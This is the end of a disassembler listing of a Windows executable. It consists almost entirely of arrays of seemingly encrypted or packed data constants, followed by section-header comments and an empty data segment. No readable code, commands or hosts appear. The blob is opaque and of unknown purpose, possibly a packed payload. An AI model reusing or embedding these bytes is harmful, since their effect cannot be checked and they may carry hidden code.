		dd 6BDE6FCAh, 0C3F3ED58h, 0B9F36906h, 0E0F7E874h, 8BB5491Bh
		dd 2BB65D72h, 0D2E96386h, 7555DA1Fh, 0BC81DB36h, 809366B8h
		dd 949973B3h, 6DE1FF12h, 1F176BBh, 589D8A9Ch, 835AE253h
		dd 0F03213BCh, 1C21262Bh, 3D92D817h, 0F4F93E1Bh, 7FFA008h
		dd 4C561D0Eh, 0B8BD82D4h, 0F929AEB3h, 85959E5Dh, 2261D591h
		dd 8817110Ah, 38794446h, 216A7068h, 7851851Bh, 0F8827F80h
		dd 0A7E9BD9Fh, 0D2DAD6DCh, 0F9F5C7D9h, 0E8D3CFB8h, 0D4D9DEE3h
		dd 4D348A62h, 5E764340h, 8A5E69A7h, 4583938Fh, 0AD835454h
		dd 0C8DBABAFh, 0FBDCD7CBh, 0FC39F707h, 29151A30h, 484B17DBh
		dd 68554707h, 657D7170h, 0D0E18E91h, 0C2C29A9Ah, 0E7B7ABB3h
		dd 79969E99h, 0C062165h, 322AFEFAh, 4C1E6222h, 454D0E57h
		dd 66763A68h, 0A59B2667h, 0FCA18A92h, 0C6B4C403h, 0D9D3F0AFh
		dd 0FF15E4D8h, 27BDDBC7h, 7E3D3734h, 48287474h,	3C865848h
		dd 68728478h, 58AEAD9Ch, 0B9B3D00Fh, 0DFF5C4B8h, 0FBC222Ah
		dd 0C4CA1318h, 29F52E18h, 6555E63Ah, 0C88E574Ch, 87BC726Ch
		dd 0ACA6A66Fh, 766E5798h, 48FF7680h, 23BA6870h,	40D72E2Eh
		dd 5CF4F8F3h, 18D09613h, 3BCD57E8h, 825E47AAh, 0E668AFA6h
		dd 0D8A72B9Dh, 0BED86FC5h, 520156C3h, 0B4C939D9h, 686D7277h
		dd 54595E63h, 40454A4Fh, 2C31363Bh, 181D2227h, 4090E13h
		dd 0F0F5FAFFh, 0DCE1E6EBh, 0C8CDD2D7h, 0B4B9BEC3h, 0A0A5AAAFh
		dd 8C91969Bh, 787D8287h, 64696E73h, 50555A5Fh, 3C41464Bh
		dd 282D3237h, 14191E23h, 50A0Fh, 0ECF1F6FBh, 36826547h
		dd 0C4C98EACh, 0D95B5F3Eh, 0A3A1A66Bh, 0FDA1D502h, 237476B2h
		dd 0B0647026h, 68751AE2h, 4A49045Eh, 2C67092Ch,	529C0E6Eh
		dd 0BF3117h, 0F14F8770h, 5152DEA3h, 0C0059325h,	6E30BB62h
		dd 397684BFh, 0C8992D1h, 3093D1FCh, 5C85CE6Bh, 68755257h
		dd 0B9393E43h, 0E0030EACh, 41AEF1Bh, 0B87CFEF3h, 9B9C90EFh
		dd 10EE585Ch, 0F5D489CBh, 0CAE02FB6h, 0A4F89E63h, 0F7219A12h
		dd 6849F97Bh, 0BDE65845h, 4409302Fh, 1C3544BEh,	1FEF5128h
		dd 3E9A2245h, 4A4036D7h, 8CE5B46Eh, 37DF15D7h, 0A8AB31C6h
		dd 5B54E55Bh, 0AB5FB562h, 3C4A3010h, 236C3A77h,	0D1D4A16Fh
		dd 408513BDh, 45ABBBF6h, 181D2267h, 0F8210E13h,	6BF5FAFFh
		dd 1CAA7468h, 97026AD7h, 0CC919D96h, 23A5AAAFh,	4C9A2410h
		dd 70728287h, 46C9EBFCh, 0D43C5A9Fh, 15BBD33Eh,	9F6C32F7h
		dd 0D44290A0h, 767A830Fh, 0D4F136F4h, 0D8DDE2E6h, 4F0817A2h
		dd 0B0B53A2Eh, 413978ABh, 8B484139h, 0B4A228F0h, 0E3976D6Fh
		dd 53516211h, 383E49C3h, 344FB133h, 0F599191Fh,	8701060Bh
		dd 40BDEEB5h, 4B443C2Bh, 0A92B4FCEh, 6AB0B6FBh,	18A51CF7h
		dd 9D3D8EACh, 5C9FC3FFh, 0EDF8266Ah, 0C94E8ACEh, 0B04FD24h
		dd 0DC3EAB52h, 0D911E2DFh, 0B024CB5Bh, 0EB8F8772h, 0D0D57152h
		dd 54422CCBh, 9F9BA5D9h, 94994920h, 6A04C08Fh, 0F776AB7Bh
		dd 5A44729Dh, 754858DAh, 960392F0h, 6920A59Eh, 84DFB6Dh
		dd 6CB983A8h, 5C69E9F6h, 23D1D6DBh, 0F8F65C74h,	0F141DEB3h
		dd 93706961h, 3C4A3008h, 2F2F177h, 57591E7Ch, 0C3742E4Bh
		dd 0E74038FBh, 3B25D81Ah, 0E4428E01h, 0C193BAEh, 0B8CD0FE7h
		dd 0F3B1CEB0h, 3592A903h, 0BD8A9B6h, 0D9B4AF0h,	8E421AEEh
		dd 0E55B822Ah, 0F16C8326h, 0BD1BBA3Eh, 0B50B885Eh, 953BF2C7h
		dd 48AE7D96h, 6DDB2AAAh, 80C64FCEh, 45DB62E2h, 0CDD08006h
		dd 1D9B9A0Ch, 0A588823Eh, 6B7BD264h, 203EDCDCh,	1DAA315Bh
		dd 5EB8B1AAh, 0CD3DF0B2h, 0F7F0E8F2h, 0F89706CAh, 36020ABFh
		dd 61513D36h, 0C005AE80h, 0A4C22ED5h, 0B45D84A5h, 22A79092h
		dd 38775416h, 0F3F6E0D3h, 400BD5FAh, 318FEFBEh,	4D5242D7h
		dd 6691554Eh, 4804F506h, 0B56EF023h, 6AD51AFBh,	6457EDB2h
		dd 0F22D0C7Fh, 44A173A2h, 2D522280h, 6DF9352Eh,	0D45D6267h
		dd 9546E281h, 8B7B889Fh, 74269195h, 880D1217h, 0B7A4E0AAh
		dd 0CCC13764h, 4924D69Bh, 0B87DF6F8h, 24A9AEB3h, 0F0259DEBh
		dd 4D067D31h, 6B6D3263h, 5B5A5E63h, 4045E0CBh, 0B766AE3Bh
		dd 73C4FAFBh, 0FD9B6B9Ch, 4885FABFh, 59749191h,	0C80DC6C8h
		dd 0B5B9BEC3h, 891BF728h, 5765965Bh, 44AE07F2h,	64696EB3h
		dd 0AFED5C5Fh, 0C91345A7h, 4D09A34h, 0F2B04CAAh, 1E050A57h
		dd 7CF02A62h, 55D07C2Ch, 0C489A2A4h, 0A8B5BABFh, 0A4BE3363h
		dd 579FC797h, 0B4AD8F00h, 60656A6Fh, 89D0CE57h,	3531423Fh
		dd 0DCC6B18Bh, 0FF60B51Fh, 0BCD53788h, 0E8EDF5F7h, 84DDB2E3h
		dd 3B2C2468h, 0ECBA4C38h, 73681DA7h, 0B84117DBh, 9C86FFCAh
		dd 5C60662Bh, 6F815257h, 2B9DA5DBh, 0A682A3F9h,	0B711D614h
		dd 17FD02AFh, 6D51590Fh, 6BD5DAF9h, 0D3CB83B3h,	8D22DAh
		dd 0B04FAE6h, 0E8A7532Eh, 17D38B2Eh, 0C5E4FDF8h, 44092224h
		dd 72886C8Ah, 1C21262Ah, 77B52644h, 0A4E4DDD5h,	44E02D2h
		dd 64B3150Eh, 139FD72Ah, 6B201924h, 0B90F1F16h,	0C45886CBh
		dd 0B7A92AF0h, 148D6FE0h, 40454E4Fh, 0C41F6A3Bh, 5017E240h
		dd 4401667Ah, 989CFECBh, 0FB785ED8h, 0D952892Eh, 0BCB9FECFh
		dd 4DA5AAAFh, 0B31E1661h, 787D42B3h, 4DD1AF7Fh,	4A1E7347h
		dd 0FC1571E8h, 2B517237h, 4030C329h, 706C0A4Fh,	6967606Ch
		dd 0D81D16FAh, 0CE891E39h, 70C9D53Ch, 0F4C350ABh, 5403F35h
		dd 74B99294h, 60656A5Fh, 15E15D07h, 45F528DDh, 948054C7h
		dd 0D024B4F7h, 7E4E8FB2h, 37EDB2E0h, 940DEF60h,	0C0C5AACFh
		dd 3CAAEBBBh, 71229CEFh, 0EE894E5Fh, 0B0F60259h, 2832EBD6h
		dd 488D5297h, 37AD3E43h, 1A0D6EAFh, 0CC25FF78h,	71A4E807h
		dd 24D27448h, 4DA875DFh, 0BC81FAFCh, 68ADB2B7h,	6449A770h
		dd 6C6E0F8Dh, 3B0776BBh, 189193E4h, 4449CE53h, 0E03C0F3Fh
		dd 6A630E3h, 0A20D5203h, 0AC5B1BEAh, 5DF8D2C0h,	0CC91CACCh
		dd 0B8BDC3C7h, 8D19B0BFh, 0BCBB3F95h, 98C186CBh, 82D26C76h
		dd 32591E6Fh, 0C19D70A6h, 3DB6EDEBh, 181D6253h,	0B1090E11h
		dd 0EA3D8EFDh, 1CB51088h, 4134F8D7h, 0F4E26058h, 7C81F2AFh
		dd 0DB28969Bh, 0B8B1B304h, 64697673h, 3FC1AE5Fh, 0FC1577C8h
		dd 28313237h, 0C410F323h, 0DB8A0457h, 96F136E7h, 55D01FBEh
		dd 0C489A2A4h, 0B0B5B2BFh, 0F4C3B798h, 25933216h, 74B992AAh
		dd 0A034C509h, 2A4681C1h, 32555BEFh, 641D1990h,	13F9DA1Fh
		dd 0C8D8AB11h, 838FF2B7h, 0A632Eh, 0D0C5CA0Fh, 4413B6BBh
		dd 9B116228h, 8E81D213h, 3089951Ch, 63B84C6Bh, 5438D7C1h
		dd 23D03E83h, 0E0F9FBACh
		dd 0C11161Bh, 4806F6C7h, 0CD6EF023h, 6AD51AEBh,	88924BB6h
		dd 0C8ADB277h, 12499EA3h, 7C898C9Ch, 0F63BC500h, 18917B04h
		dd 0CEC6D753h, 0E35FA48h, 19ADA6D2h, 87D1944h, 34E44D83h
		dd 0D16A0145h, 0CCD196C7h, 0D6BDC287h, 0D19AD40Bh, 0EEBE2E9Dh
		dd 86693632h, 28614DF4h, 57B99E63h, 0EFCD9AA5h,	6C4527B8h
		dd 189D2227h, 7407A313h, 99A7479h, 0FAE1A617h, 0C589522Eh
		dd 0B469C510h, 60C0692Fh, 9D16CD01h, 787D42B3h,	91696F73h
		dd 4A95EA56h, 0FC156FC8h, 1F548C37h, 5498B6FDh,	0ECEE6F05h
		dd 9753F63Bh, 0E783E397h, 84BD9F50h, 0B2B5BABFh, 2B7C9BABh
		dd 0C8818314h, 70797E83h, 0D05BFF6Fh, 77D6609Bh, 0B23D0273h
		dd 641DFE90h, 20F5DB1Fh, 7DA3BE65h, 43ED624Eh, 0DE996EEBh
		dd 99A54Ch, 298420BBh, 98DDD6D8h, 84818E93h, 18576A4Ch
		dd 0B957CEEAh, 488D462Dh, 35E9E99Dh, 0D8752246h, 18279B21h
		dd 87A302C7h, 24DDBF70h, 0E0D5DADFh, 495677CBh,	2B255894h
		dd 0BE3EA8FBh, 9E85CA5Bh, 163169E2h, 21E30F80h,	0C17C4E13h
		dd 30F54E50h, 1C01262Bh, 577E2144h, 0AC5BF9EAh,	3DEBD2E8h
		dd 0CC91CAC1h, 0B2BC2607h, 0E49D9810h, 0A93C009Fh, 3C4A1040h
		dd 0E2AEEC77h, 1482E800h, 0B0AC704Fh, 55B63893h, 721D6253h
		dd 0F0FA931Eh, 0F0F4FABFh, 58DCE7EBh, 0C8CDD252h, 3F1D255Bh
		dd 91322589h, 0D915687h, 787D82F8h, 642A0571h, 0BD545A5Fh
		dd 0D8E4FE48h, 0B09410B2h, 14191E23h, 0FE1A6529h, 0C9686E15h
		dd 74957D41h, 2FCB5D6Eh, 4B97FACEh, 68722B16h, 888D92D7h
		dd 0B4EE7F83h, 4C36EF7Ah, 4C51561Bh, 16313A47h,	48A6864Dh
		dd 3C269FEAh, 0FC01064Bh, 55F8F4F7h, 0B23AE824h, 0ED8E4E26h
		dd 0C839DCC3h, 0B34408A3h, 0EE81DE82h, 185778D6h, 0D95F4343h
		dd 488D462Eh, 3710E99Dh, 4F8B637Fh, 0CC250798h,	0F8FD0207h
		dd 54C90273h, 0E95AF4DAh, 0FDC106F7h, 21BABCD7h, 9699C2ABh
		dd 0C05963ECh, 6F55367Bh, 0B36126E7h, 0E29FEFA3h, 2A9589C7h
		dd 5CF54FC8h, 0D7743817h, 342D0F80h, 0E0E5CAEFh, 1B808ADBh
		dd 0F8F1F344h, 0A4A9AEB3h, 7FA2EEBFh, 7C818946h, 0F8722677h
		dd 0C7B008D3h, 0B5CC11C6h, 2C712FB9h, 0D9A6E33Eh, 0ED15E27h
		dd 0B009137Ch, 597490EBh, 0C80DC6C8h, 0B4F9BEC3h, 847A63Bh
		dd 987D96Bh, 783DB6A0h,	0DC8B781Ah, 0ED5B3A22h,	3C017A74h
		dd 0A5608DD1h, 14D93234h, 1050A0Eh, 69C42927h, 0D81D1618h
		dd 0A4C9CED3h, 0EF08B78Bh, 9CA1A6AAh, 0F8FD97C3h, 0FF686929h
		dd 0EAEAE5A2h, 77511654h, 0BC05BB7Fh, 0A1DCF702h, 10552E30h
		dd 0FC81060Bh, 657AF0A4h, 0D499F20Ch, 4005C245h, 8400B974h
		dd 546AA61Ch, 0C5897E6Fh, 0EB0572DFh, 7A63C912h, 0A60D43BFh
		dd 0BBE1A4EAh, 207DC2AFh, 6D0F161Bh, 53D59DE1h,	0E21EB770h
		dd 90E66239h, 0FF117125h, 0AC322F0Dh, 3995EAFh,	0C0595B0Ch
		dd 6C71767Bh, 75FD777h,	6F11663Ah, 48E4B528h, 0CCF89E52h
		dd 116B8F8Eh, 81FAFE43h, 0E0A5B36Dh, 8848CFDCh,	0FD46C6E3h
		dd 0A4E99ED8h, 0B9172716h, 0F95886CBh, 682D5BF5h, 808AE3AEh
		dd 40854A8Fh, 2E85363Bh, 5AC4EA12h, 0D3DB0E0Fh,	199F877Eh
		dd 0E3E1E6ABh, 0C8CE9B53h, 0B4B6A6C3h, 5D6CAAAFh, 50566469h
		dd 0B4A7B4B6h, 1B69BAB7h, 906AD2CCh, 92C6CF4Bh,	0DB2DF220h
		dd 1745D6AAh, 0D81499B7h, 0D4053982h, 0DFD8D8CBh, 0BD2B435Ah
		dd 0B36CBA7Fh, 191AB269h, 88CD7B55h, 0FD71C082h, 203EB0ECh
		dd 7420E15Bh, 38BDF5AAh, 0F1C12E33h, 8BF0E9E9h,	0BCCAACC0h
		dd 2115C8F7h, 5F443D2Dh, 9E303Ch, 0B4E741BBh, 73A9DCA6h
		dd 81A211D5h, 7155F272h, 0D85C666Bh, 484D539Dh,	6DCFD342h
		dd 8D242AEFh, 0CD10FC9h, 0EF652E9Bh, 0E4E95070h, 0CC1757DFh
		dd 954F4BF2h, 0A6ACB277h, 21B0653h, 0E5041912h,	6CB16FD5h
		dd 2364D767h, 0C7445A0Eh, 30353B26h, 89EA3292h,	84DFB71h
		dd 0F5F68306h, 5DE4EAEFh, 0CC91CF89h, 3FF543A1h, 582EBD90h
		dd 0B959A9Fh, 3F5888CBh, 21954263h, 8DC4BDADh, 801EB094h
		dd 8B6453Bh, 1B1D2227h,	0C4F27890h, 0E27AFDFFh,	67E1A624h
		dd 0BC10ADD7h, 0B47640C6h, 5F7CAAAFh, 0C810A5A3h, 0FB7D8287h
		dd 0A3687033h, 0C2DA5D4Bh, 0EE418684h, 0AEA26107h, 8B19DE3Ch
		dd 40DA427Ch, 0AC7650FBh, 0D89067DAh, 58E2CED3h, 0D4B5BABFh
		dd 826B51Eh, 88D9297h, 0F1747395h, 60656AE6h, 77521CE2h
		dd 0D00D7606h, 0DBD4C3EBh, 39B7A728h, 8B96064Bh, 0F15377F6h
		dd 51D8DEA3h, 0C00593DDh, 0C5673B44h, 9824A2E7h, 7DC7136Ah
		dd 68437A3Fh, 3523EBA2h, 0A17B5297h, 34393E58h,	38F8BCBFh
		dd 0C11162Eh, 7379C07Ch, 0E7E7D9B4h, 4DECCA1Dh,	0BC81FF91h
		dd 0E42CAE64h, 1BCAFD93h, 0A1816ECBh, 0F3309122h, 1896F4E4h
		dd 0B1C0EE53h, 30F5430Dh, 0B3B31C93h, 87633BAh,	6179FE03h
		dd 0D4A8C5E1h, 8BD8DF89h, 7C3BC1BFh, 0ED544D46h, 76231F92h
		dd 50F8857Eh, 79D0F353h, 0CB595E7Fh, 0DB60D9D2h, 4867B72Fh
		dd 381D2287h, 8F49E1D5h, 6D781EF3h, 0DC211F8Dh,	0E4C23B4Ch
		dd 31B8BEC3h, 0A065733Dh, 5236FB35h, 0BA7CC89Eh, 68A7595Fh
		dd 282CA019h, 3CEFC706h, 28323237h, 0D2921E23h,	0C33F3993h
		dd 42B6B80h, 0DF2FE227h, 84BE6A40h, 170D3DBFh, 9CE82AAEh
		dd 5169297h, 74B997B1h,	87176A05h, 0C66CAE8h, 2F7DC747h
		dd 242992AFh, 60D5351Fh, 0AC00705Bh, 0E895F38Dh, 0A219DEE3h
		dd 0AD013F52h, 8430B6FBh, 5E21A18Ah, 0D898E90h,	308E30FCh
		dd 96DEF36Bh, 0BD4D9240h, 7462A0B0h, 0BAD3DB2Fh, 795CE61Bh
		dd 0F8BD3783h, 0EB948672h, 0D0DAD65Bh, 0D3C130CBh, 68A68824h
		dd 142EFDA3h, 385CA5Ch,	0E86C3533h, 585D6654h, 3DDFD3DCh
		dd 69443AFFh, 4C52692Ah, 39112C68h, 2D4B93D6h, 6D00EAAFh
		dd 0CC91CB7Bh, 34C80244h, 0A4A9B264h, 0D1E53AEh, 7C41BFEDh
		dd 403E4348h, 54545E56h, 0A0BAD97Fh, 0A9317628h, 92A121E7h
		dd 8D090E0Fh, 0B00ECC7Ch, 0A12929EBh, 43CDD2F0h, 31ACD60Ah
		dd 0A0657E80h, 7C91969Bh, 0F57C8874h, 64A95E98h, 11540C6Eh
		dd 5D543736h, 31E3B7B0h, 4FC11EE3h, 7B050AEBh, 69F0F242h
		dd 0D81DF23Ch, 5C800A2h, 11080B0Ah, 75B32B34h, 7F4C92D7h
		dd 6D7BC90Eh, 33F23F8Eh, 0FE46573h, 718D4553h, 2701EF5Ah
		dd 572B9BCFh, 159B6F76h, 0B26CFFA3h, 34C7DFE7h,	3BA10546h
		dd 0EEB0CAF9h, 50E11FB7h, 67D2A5A6h, 4AFA85C0h,	1F6126A4h
		dd 3831A6CEh, 0B6B4FE52h, 20252A77h, 774CA15Ah,	2EBA7FFEh
		dd 98E92ECBh, 89E48956h, 4E62026Fh, 77639EB1h, 3EB9CAA1h
		dd 1499B653h, 21C5646Fh, 70D2628Bh, 45C09772h, 0EDEDFF44h
		dd 0F1181A2Bh, 85B5566h, 0EB288306h, 0E36CF9F2h, 928AADD0h
		dd 9641C186h, 99544D46h, 0C6CADDCAh, 93680A8Eh,	176AA19Ah
		dd 5B877122h, 0E7E03ACBh, 5F6133EEh, 94286173h,	3B342D10h
		dd 55D250Eh, 0E36C655Dh, 8F877A53h, 9C87D196h, 0A0A5AA99h
		dd 0E3DC45C3h, 787DDAEAh, 0E5B66E73h, 9080D434h, 3F0E2F4Bh
		dd 6FD13237h, 6CEA931h,	1C054AD8h, 6D53D884h, 0CF331F09h
		dd 0C4C8B450h, 0D46F35BFh, 1DC304AAh, 7FD2E27Eh, 74787400h
		dd 6E24816Fh, 4C51365Bh, 3B46C73Ah, 67DB2E33h, 469C1C43h
		dd 1085152Bh, 4BEDF2F5h, 0D5425FE7h, 0B7C5CAD0h, 0ACAF6435h
		dd 9E6A7AA7h, 684ADA6h,	70757CDEh, 5F5130F2h, 48C54E8Dh
		dd 85393F43h, 474B4847h
		dd 3386064Eh, 49FDC233h, 0D45EBED3h, 2AD51AEBh,	74FAC4EBh
		dd 0D4D5C65Fh, 1104FD09h, 42F9893Dh, 0D982184Ah, 589D9698h
		dd 42E1737Ah, 0F9353A3Fh, 1C212C13h, 94B55A17h,	7EE4DDE9h
		dd 0A0B9C36Ch, 0F6555CDBh, 0B87DF6E0h, 9082333Bh, 70739ADFh
		dd 48520B76h, 68757237h, 5D4E5E63h, 2C2C97CFh, 7832367Bh
		dd 0E9A219E4h, 709CEDFh, 0DCF6FAFFh, 0C52E6602h, 0C5CD12C3h
		dd 69394E0Fh, 0A0657E85h, 0C344A98h, 0B8B19D2Ch, 0FA9D7373h
		dd 7C66DF2Ah, 3C41468Bh, 21E1B237h, 4032BBA3h, 2F030A4Fh
		dd 92967984h, 0D8DD2210h, 0FBFD5DFBh, 15F51202h, 7939251Eh
		dd 38D9295h, 0B4A2D4F8h, 849F826Fh, 0C84C958Eh,	383D443Eh
		dd 1D5783BAh, 569C1A5Fh, 242B093Fh, 2F281F3Ah, 0D54E60E6h
		dd 0FA46CACFh, 0ACB1D697h, 4A971D87h, 902F913Dh, 0DF65447Eh
		dd 9C3597E8h, 484D5257h, 0B9339333h, 0E0F9F67Ch, 0F18EA11Bh
		dd 8BFDC217h, 0EB52254Fh, 45D5DAD8h, 7CB1C678h,	3912E5B7h
		dd 79701A3h, 710A21EBh,	6C71B667h, 4F6D6267h, 4449B6CFh
		dd 4804893Fh, 0B3B21593h, 0A6A28DBAh, 71F93E1Ch, 7269E91Dh
		dd 57D1D6DBh, 0F8F6B474h, 0B4DF39B3h, 0F0B9D420h, 67A1868Bh
		dd 6A1C6A2Dh, 4658A772h, 55D2153Bh, 0B731764Bh,	0D82D7F9Ch
		dd 8FDBA013h, 8D741E03h, 0DC21F6D0h, 1D3055D7h,	0B4B9BEC3h
		dd 0A1AD3426h, 0DB909E61h, 0F504F902h, 64A947EDh, 7C66DF2Ah
		dd 3C01468Bh, 2AE13237h, 618166Eh, 79D5E303h, 2CFA6468h
		dd 0B04C5DE7h, 41FC9ED4h, 0B075CED0h, 9CA1A66Bh, 704094C3h
		dd 682D66B4h, 7B1E7972h, 7420595Fh, 6949345Eh, 7B8DC15Dh
		dd 34AA9748h, 0F014637h, 0DFC7C153h, 535650F4h,	0C0C5CB7Dh
		dd 0B8CC4BB1h, 9612A2E7h, 5231C03Ch, 40FD6C8Bh,	131DCEDEh
		dd 0C3A301FAh, 7E384A89h, 11AA411Fh, 0C11D607h,	6D0D0207h
		dd 0F71EF434h, 0F97F5758h, 39C0C60Bh, 0A86DC24Ch, 94764522h
		dd 5B858A8Fh, 0F93C5EBAh, 589D8BC9h, 4417D5DCh,	0EEC03A3Fh
		dd 0EDA69D4Bh, 80D5203h, 6079FE03h, 0BF0D9CEAh,	861C1514h
		dd 81673F3Eh, 0A748AEF3h, 0BBDD518h, 0F9F896D1h, 682D5B21h
		dd 4751287Ch, 388BC34Eh, 0AF21783Ch, 931D6A86h,	0C4F2A890h
		dd 0C11D2FFh, 1EE2E6EBh, 0BCE1BCFh, 0DB4E48F3h,	0CFA56A7Bh
		dd 4CA58718h, 787D8287h, 676B8263h, 9045B7D4h, 4B41FC4Bh
		dd 0E82123B4h, 16191E23h, 0A6F91F0Fh, 0FD76ADB5h, 0D8DD2213h
		dd 71C9D2D3h, 0E04A34B9h, 2BA166D7h, 0C8818314h, 74B97E83h
		dd 0DA6CFF6Fh, 0F68F5856h, 0C79B9845h, 239F37DAh, 12BBDC2Dh
		dd 0CF14E8D5h, 0A749645h, 0ACD76DBFh, 0A9F7174Eh, 0B3B1B6FBh
		dd 9F941A23h, 36FEADA6h, 0D7753A88h, 9C36AAF8h,	9EC20157h
		dd 2B397E5Ch, 0E0FAF69Ch, 0C68EA31Bh, 6DFDC230h, 24D21060h
		dd 2A030BDFh, 6A16C5CBh, 0EFAD72A0h, 54CE3610h,	0CEDA198Fh
		dd 4371B674h, 18928EF4h, 0ABEDB53h, 9735FA47h, 5CEAF8D8h
		dd 75C86817h, 0F439138Fh, 0C9974F6Eh, 0FD1D69Bh, 0B8BDC21Fh
		dd 0A5BFEBB3h, 0C3DE7720h, 8C2986CBh, 0E8F2B36Ah, 0D1591E50h
		dd 0F8C40D0Fh, 0ED2CE6EEh, 0D832A2A4h, 14F65113h, 0DDF514FFh
		dd 0F062CCFFh, 19F9CEB3h, 9C19B110h, 0C7C0B9EBh, 62E99B48h
		dd 10F8F1EEh, 1B140D21h, 653078C0h, 2E159CC3h, 282D179Fh
		dd 0B171FE23h, 2DA09992h, 83581F4h, 8E925F17h, 4FC98EABh
		dd 3197B26Fh, 0AF9FACE1h, 88B5E874h, 0FF795D83h, 326504ABh
		dd 0A4C6952Bh, 0BB3D0274h, 1AAA36EFh, 54302943h, 3A800978h
		dd 33D40AF3h, 0CB313D36h, 0E1605952h, 0AC052E7Ah, 0E984A2A7h
		dd 84897DEBh, 7065D27Fh, 3C1F666Bh, 483DBA57h, 37113E43h
		dd 62252A2Fh, 0B88E16F7h, 0CE4AFE23h, 18E98672h, 0D0BD3AC8h
		dd 47C1C6CBh, 4D9D9683h, 0F91A982Ah, 80C55E7Eh,	43566F23h
		dd 541BC34Ah, 464A5453h, 5D343F3Ah, 0ED1A8644h,	80696Ch
		dd 706E7Eh, 58h	dup(0)
		dd 1280h dup(?)
seg002		ends

; Section 4. (virtual address 00020000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0001B600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 420000h
		dd 17h dup(0)
dword_42005C	dd 69h dup(0)			align 1000h
_idata2		ends


		end start